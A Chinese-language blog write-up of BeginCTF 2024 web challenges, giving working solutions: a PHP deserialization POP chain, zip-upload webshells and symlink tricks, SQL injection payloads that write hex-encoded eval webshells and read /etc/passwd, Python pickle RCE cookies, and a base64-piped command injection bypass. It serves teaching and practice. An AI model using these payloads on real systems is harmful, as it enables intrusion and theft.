Beginctf-web-wp

难度大体也还是简单,但是有些题还是有水平的。

POPgadget

逆天签到题。

自己看源码就知道我为啥这么说了:

 <?php

highlight_file(__FILE__);
class Fun{
    private $func = 'call_user_func_array';
    public function __call($f,$p){
        call_user_func($this->func,$f,$p);
    }
}

class Test{
    public function __call($f,$p){
        echo getenv("FLAG");
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}

class A {
    public $a;
    public function __get($p){
        if(preg_match("/Test/",get_class($this->a))){
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}

class B {
    public $p;
    public function __destruct(){
        $p = $this->p;
        echo $this->a->$p;
    }
}

if(isset($_REQUEST['begin'])){
    unserialize($_REQUEST['begin']);
}
?> 

看起来思路确实很清晰,从B直接触发到A的__get(),然后不让指向Test的__call(),只能去Fun的__call(),然后再利用call_user_func_array()RCE。

而且Test里有个getenv(FLAG),显然flag在环境变量。

首先第一个问题就是咋从B到A啊,B中这个$this->a->$p,a哪来的????????

这个把我可算卡死了,PHP手册都翻烂了,引用都想过,都不能解决,结果我最后死马当活马医自己写pop链的时候在B类加一个public $a来链接到A类成功了呃呃......

最后__call()那里差个参数,因为只传了个p(),system('env')这种肯定不行,但是转念一想,phpinfo()里不就可以看环境变量吗?

exp:

<?php

class Fun{
    private $func = 'call_user_func_array';
}


class A {
    public $a;
}

class B {
    public $p;
    public $a;
}

$a1 = new A();
$b1 = new B();
$f = new Fun();


$b1->p = "phpinfo";
$b1->a = $a1;
$a1->a = $f;

echo urlencode(serialize($b1))

?>

zupload系列

zupload

第一个没有上传功能,就是个简单的路径穿越:

zupload-pro

就ban了一个 .. ,然后第一个参不让用 / 

直接php伪协议出了:

zupload-pro-plus

照样用php伪协议:

zupload-pro-plus-max

这道有点搞,我一开始没get到它的点,把upload其他的都做出来了最后才做出这道的emmmmm....

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    if (!isset($_GET['action'])) {
        header('Location: /?action=upload');
        die();
    }
    if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
        die('<h1>Invalid action</h1>');
    }
    die(include($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    
    $file_ext = explode('.', $file_name);
    $file_ext = strtolower(end($file_ext));
    
    $allowed = array('zip');
    
    if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {
                $file_destination = 'uploads/' . $file_name;
    
                if (move_uploaded_file($file_tmp, $file_destination)) {
                    echo json_encode(array(
                        'status' => 'ok',
                        'message' => 'File uploaded successfully',
                        'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                    ));
                }
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'Only zip files are allowed'
        ));
    }
}

开始那个基本上把你常规的路径绕过,不一样的就把file_get_contents换成了include,直接看下面的上传逻辑:

就一个前端上传检测,但是有个ZipArchive()->open($file_tmp)的限制,也就是说zip必须是货真价实的zip,不然就会上传失败。

下面也是告诉你了把文件放到了uploads/下面,名字就是上传的名字。

开始卡住了,一直想绕,但是绕不动。

直到我随便上传了一个1.zip,直接action=/uploads/1.zip访问发现能显示出内容,突然回想到include的作用,不管你传了啥,都会以php内容解析。

那我直接在上传的时候bp改一下文件的内容,传上来的zip也是正常的,但是包含了我的木马,访问的时候include就直接解析了:

添加一句话🐎:

放包,然后访问:

zupload-pro-plus-max-ultra

这下不能和直接解析了,但是下面它提供了一个unzip的exec,并且解压后的目录可以知道,显然可以RCE。

第一种思路是把上传的名字改成 ;cat /flag;1.zip 这种,也可以绕过后缀名检测,直接执行,还有种方法就是软链接。

直接把这个目录指向根目录,上传上去后访问uploads/task/flag直接就出了:

然后直接传这个link.zip就行了,解压后task目录等效于根目录:

zupload-pro-plus-max-ultra-premium

这道题是只能用软链接了,因为exec这种RCE的地方加了个escapeshellarg(),专门防你RCE的函数(虽然也能绕哈哈),它是后台解压:

一样的步骤:

zupload-pro-plus-enhanced

看了源码,就是绕这个前端验证的地方罢了。

前端验证直接1.zip.php就绕过了,因为抓包的时候已经检测过了,bp上再加上php就不会报错。

直接木马伪造zip:

然后bp改后缀,直接RCE:

 

 

zupload-pro-revenge

一看index,检测代码不见了,去upload那里看看:

又是前端验证,还是这个pop,我在入门ctf的时候在moe就做到这个题了。

一样的手段:

(所以说只有前端验证要不得啊....)

sql教学局

写wp写累了,直接贴我当时的分析:

1'/**/oorrder/**/by/**/1#

no secret for U

banlist:
and 空格 regexp sleep = < > 等等

双写:
select from or 
----------------------------------------------------------------------------------------------------------
#爆库:ctf
-1'/**/union/**/sselectelect/**/database()#

#爆表:ctf,score
-1'/**/union/**/sselectelect/**/(sselectelect/**/group_concat(table_name)/**/ffromrom/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/"ctf")#

----------------------------------------------------------------------------------------------------------

#爆字段1(ctf):secret,user
-1'/**/union/**/sselectelect/**/(sselectelect/**/group_concat(column_name)/**/ffromrom/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/"ctf")#

#爆数据1(secret):no secret for U   (...牛子)
-1'/**/union/**/sselectelect/**/(sselectelect/**/group_concat(secret)/**/ffromrom/**/ctf)#

#爆数据2(user):admin
-1'/**/union/**/sselectelect/**/(sselectelect/**/group_concat(user)/**/ffromrom/**/ctf)#

----------------------------------------------------------------------------------------------------------

#爆字段2(score):grade,student
-1'/**/union/**/sselectelect/**/(sselectelect/**/group_concat(column_name)/**/ffromrom/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/"scoorre")#

#爆数据1(grade):
-1'/**/union/**/sselectelect/**/(sselectelect/**/group_concat(grade)/**/ffromrom/**/scoorre)#

ccf0-d1efdac,28c3fed9f-3c9,8a9bdad19b8dadf,00696ba91fda5a5d,9d41f24ef64-3,ccdce-1ab45cdc,76ff2ef435b6a96,-b-6ac0a39f4,ab12b3fee-8fb4b,dfecc4-bf8055ca,22ee00c357b817b,5adbfb32a93a2d1f,f77a9cfac6bd,84a7a-657ad65f,dabea2ce-5cf97f,da6fcbfe871c47,c8edebcf3-af,019cf7e78443f-2f,560a2-418d6a01f,1fe7cf1756a1-b4,891ffcaddec3bdf2,3-3eeec59bcdef-c,1df3eeed81cc6,d0dfff1175ad53,3bfbba-ed6-fad9d,33d312d307-7625,3ff64ad8fea870,be26c86-b02ce72d,45e7fbd43f06e5c,3c0d9d-de3d0abf,bdd-64baf39ad941,4fbca4fc2f8fb07a,2cdfbd-f89e82f0e,fb7bf57ac3107,0aedf285b4dbdbea,3efb5dc8ce81,e2a6ff9e9d01e5d,cdb37a7-ef-fbf6,1faa-b2cd02eac,5bd9f4f104ddaac,016f63be3453,-ef04e1d87e7,e40fba-c62c676c,b5aaf675c30f-0b9,acdbaeaffbcb9add,be-301cacfbd94,2dda5ae8e2fb1aa,3b97f0e-babe5eee,9cffae2ae7ac,-dafcbcb1f4677,5e2aaacaa5fb,42ca-d74be4cfc59,abcdae95528a2a7,a7d1ec7dad031c,96c57fcc-f1bca1,8fae6d7278da946,363ccfd717a8243,8fdccb47c2fe94aa,0d41c5ef01-14dd,3d5db2cffc2fa263,fcaf9ae386add16,7edffcec72ecc91,9dcefd0f503605db,e237-6fadff4ac8d,6f99a4253e4e,ab84cdfbd3b8


(#爆数据2(student):
-1'/**/union/**/sselectelect/**/(sselectelect/**/group_concat(student)/**/ffromrom/**/scoorre)#

wblyh,poako,qixrn,sjadj,aicuv,ngyqv,yvsyh,ivqdo,thnfg,vxdhk,kqvhg,xpdvf,qiqhi,medhg,hkynv,comjz,jfjff,rujqj,fwotf,jjaiw,eggbi,puohx,yfhrx,pqtba,oygvu,xrzjw,bgqzf,dutsp,qymre,yalju,wrlns,jibxj,xqnvx,egeet,sistf,rkrnt,bpbzf,gtqeh,idvjl,wfnmi,vgpgc,zjtoz,clxxn,bagzr,otgow,spvro,cwkjd,pojmm,ifflo,ixlyn,rxkgt,ywxap,ycjea,bzgkn,ydgbm,cpegb,zuewq,myexf,wggzt,lwpmt,twpri,asdmu,bzwkl,kindj,bwyin,moygt,beosa,idxcd,riwcy,zcuhv,laenp,fdrqk,nvlzi,vfjmx,wgzlt,uffdd,xusxr,jvuyt,xzsyo,vqayz,jxztz,jgmhy,xugkz,nicgl,jweho,huogw,ooncg,pygdy,ueyvk,vgldz,bolfy,wxvtu,icmfo,wdwvd,fkmgb,vblbu,wacmz,cdacu,squyg,jdzbg,kiden,dtort,lvkcq,woiyl,vnnng,nbwfb,druaf,luqfh,jnoax,yquba,occbk,tdmds,jzfqw,wsyxk,bwrqw,wqyis,ohwxx,uhqzk,dvwbj,pdoki,kfpbi,fwrih,vdubg,tkjoy,dttvo,wgeiw,pwssa,hxaac,cshzu,dhmkz,aqnyw,bkulm,cixxo,natwm,kmpto,wevns,ldxeo,lctog,ocubf,tckmz,ajcit,caakl,fwvyj,jyiut,pxaxq,lstcz,phsna,ihfnl,uuaqz,mfiuv,xulqr,itcdj,ujlyk,ajkev,cohjl,ijdom,vwemy,hckbg,yiqhr,ngrlb,eyaeo,ovmla,nsojc,sxpyu,eootw,ljzba,gmuej,fthkc,gpbfe,kqbcp,fwpz)
#难找....


#爆flag2:  ab23-41fe-ba6a
-1'/**/union/**/(sselectelect/**/group_concat(grade)/**/ffromrom/**/scoorre/**/where/**/student/**/like/**/'begin')#


----------------------------------------------------------------------------------------------------------------

#爆表:password
-1'/**/union/**/sselectelect/**/(sselectelect/**/group_concat(table_name)/**/ffromrom/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/"secret")#

#爆字段:id,note,flag
-1'/**/union/**/sselectelect/**/(sselectelect/**/group_concat(column_name)/**/ffromrom/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/"passwoorrd")#

#爆flag1:  flag{70ae7d36-
-1'/**/union/**/sselectelect/**/(sselectelect/**/group_concat(flag)/**/ffromrom/**/secret.passwoorrd)#

----------------------------------------------------------------------------------------------------------------

#根目录注入

#爆路径:
-1'/**/union/**/sselectelect/**/@@basedir;#      /usr/     //mysql安装目录
-1'/**/union/**/sselectelect/**/@@datadir;#      /var/lib/mysql/      //mysql数据目录
-1'/**/union/**/sselectelect/**/@@secure_file_priv;#  #判断是否能写入,这里没有回显为空(不是NULL,也不是/tmp这种临时目录),可以写入
-1'/**/union/**/sselectelect/**/@@plugin_dir;#   /usr/lib/mysql/plugin/

推测绝对路径:/var/www/html


看看user():root@localhost  超级管理员权限
-1'/**/union/**/sselectelect/**/user()#



union挂马:(但是<>被过滤了,用十六进制)#寄了,显示permission denial
-1'/**/union/**/sselectelect/**/0x3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e/**/into/**/outfile/**/'/var/www/html/shell.php'#


-1'/**/union/**/sselectelect/**/0x3c3f706870200a667075747328666f70656e28277368656c6c2e706870272c277727292c273c3f706870206576616c28245f504f53545b315d293f3e27293b200a3f3e/**/into/**/outfile/**/'/var/www/html/1.php'#


-1'/**/union/**/sselectelect/**/0x3c3f70687020406576616c28245f4745545b2731275d293b3f3e/**/into/**/outfile/**/'/var/www/html/1.php'#

terminated挂马:
-1'/**/into/**/outfile/**/'/var/www/html/2.php'/**/lines/**/terminated/**/by/**/0x3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e#


#尝试任意文件读取:寄了,查询错误: FUNCTION ctf._file does not exist:load被置空了  
-1'/**/union/**/sselectelect/**/lloadoad_file('/etc/passwd');#


#爆flag3:  -22b08e662e65}
-1'/**/union/**/sselectelect/**/lloadoad_file('/flag');#


flag{70ae7d36-ab23-41fe-ba6a-22b08e662e65}

 

pickelshop

注册抓包看到送给你一个cookie:

Eddie:
registered successfully!
Your cookie is user=gASVKQAAAAAAAAB9lCiMCHVzZXJuYW1llIwFRWRkaWWUjAhwYXNzd29yZJSMAzExMZR1Lg==

很显然就是一个pickle.dumps()后再base64加密的cookie,而且没加任何密钥,但是我一开始进误区了,以为直接传payload就出:

import base64
import pickle


class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').popen('cat /flag').read()",))
a = A()
print( base64.b64encode( pickle.dumps(a) ) )

结果回显一直报错,后来才想到它后端应该是要匹配那个{'username':'Eddie', 'password':'111'}的JSON格式,然后把username那部分再pickle,因为回显是“Welcome xxx!”

那么改一下payload就是exp:

import base64
import pickle


class A(object):
    def __init__(self, username, password):
        self.username = username
        self.password = password
    def __reduce__(self):
        return (eval, ("__import__('os').popen('cat /flag').read()",))
a = A("Eddie","111")
print( base64.b64encode( pickle.dumps(a) ) )

或者这种写法:

import base64
import pickle


class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').popen('cat /flag').read()",))
a = A()

print( base64.b64encode( pickle.dumps({'username':a,'password':'111'}) ) )

 

readbooks

一开始打的时候,随便乱点这两个book给了两个api: /list/ 和 /public/,点那个private显示nothing_here。

我还以为是黑盒,试了好多都没试出来。

但是没想到他后面的路径直接可以RCE,而且还有ban掉很多东西的黑名单,使用通配符发现没ban:

/list/*

直接看到了目录:

app.py
blacklist.txt
book1
book2

__pycache__:
app.cpython-310.pyc

private:
nothing_here

static:

templates:
index.html

然后/public/app.py试试,不出意外被ban了,但是通配符一样可以绕过:

/public/ap*

拿到了app.py的源码,题目成白盒了:

import os
from flask import Flask, request, render_template

app = Flask(__name__)

DISALLOWED1 = ['?', '../', '/', ';', '!', '@', '#', '^', '&', '(', ')', '=', '+']
DISALLOWED_FILES = ['app.py', 'templates', 'etc', 'flag', 'blacklist']
BLACKLIST = [x[:-1] for x in open("./blacklist.txt").readlines()][:-1]

BLACKLIST.append("/")
BLACKLIST.append("\\")
BLACKLIST.append(" ")
BLACKLIST.append("\t")
BLACKLIST.append("\n")
BLACKLIST.append("tc")

ALLOW = [
    "{",
    "}",
    "[",
    "pwd",
    "-",
    "_"
]

for a in ALLOW:
    try:
        BLACKLIST.remove(a)
    except ValueError:
        pass

@app.route('/')
@app.route('/index')
def hello_world():
    return render_template('index.html')

@app.route('/public/<path:name>')
def readbook(name):
    name = str(name)
    for i in DISALLOWED1:
        if i in name:
            return "banned!"
    for j in DISALLOWED_FILES:
        if j in name:
            return "banned!"
    for k in BLACKLIST:
        if k in name:
            return "banned!"
    print(name)
    try:
        res = os.popen('cat {}'.format(name)).read()
        return res
    except:
        return "error"

@app.route('/list/<path:name>')
def listbook(name):
    name = str(name)
    for i in DISALLOWED1:
        if i in name:
            return "banned!"
    for j in DISALLOWED_FILES:
        if j in name:
            return "banned!"
    for k in BLACKLIST:
        if k in name:
            return "banned!"
    print(name)
    cmd = 'ls {}'.format(name)
    try:
        res = os.popen(cmd).read()
        return res
    except:
        return "error"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8878)

可以看到list下面存在很显然的RCE点,但是查看blacklist.txt可以发现很多linux命令都被ban了,fuzz后发现漏网之鱼管道符| 还有单引号、反引号、${IFS}这种。

那么payload就直接有了:

# ls /
/list/-la|ec''ho${IFS}'bHMgLw'|bas''e64${IFS}-d|ba''sh

# cat /_flag
/list/-la|ec''ho${IFS}'Y2F0IC9fZmxhZw'|bas''e64${IFS}-d|ba''sh

 

king

因为比赛结束后环境也关了,没给附件也复现不了,所以此题wp参考:BeginCTF 2024 Writeup - Kengwang 博客

看起来有点搞,而且做出来的人也是web方向最少的,当然我也没做出来,但是这个小游戏通关了hhhh题目的提示是nosql注入,而且是nohttp,可以看看其他部分的流量。

nosql的数据库具有代表性的就是MongoDB了,语法有点像JSON,F12查看网络部分发现开了个WebSocket。

看了看这个语法确实是MongoDB,指令直接看官方文档:Database Commands — MongoDB Manual

也可以用 listCommands 来查询到所有支持的指令:

一个个试,直到 listCollections:

{"id":"3b798yphvx3","query":{"listCollections":""}}

这里直接找到了个"name": "flag74xvmf0xhew",直接用find读:

{"id":"3b798yphvx3","query":{"find":"flag74xvmf0xhew"}}

这个工具也可以对WebSocket进行测试:WebSocket在线测试工具 (wstool.js.org)

 

posted @ 2024-02-05 00:23  Eddie_Murphy  阅读(109)  评论(0编辑  收藏  举报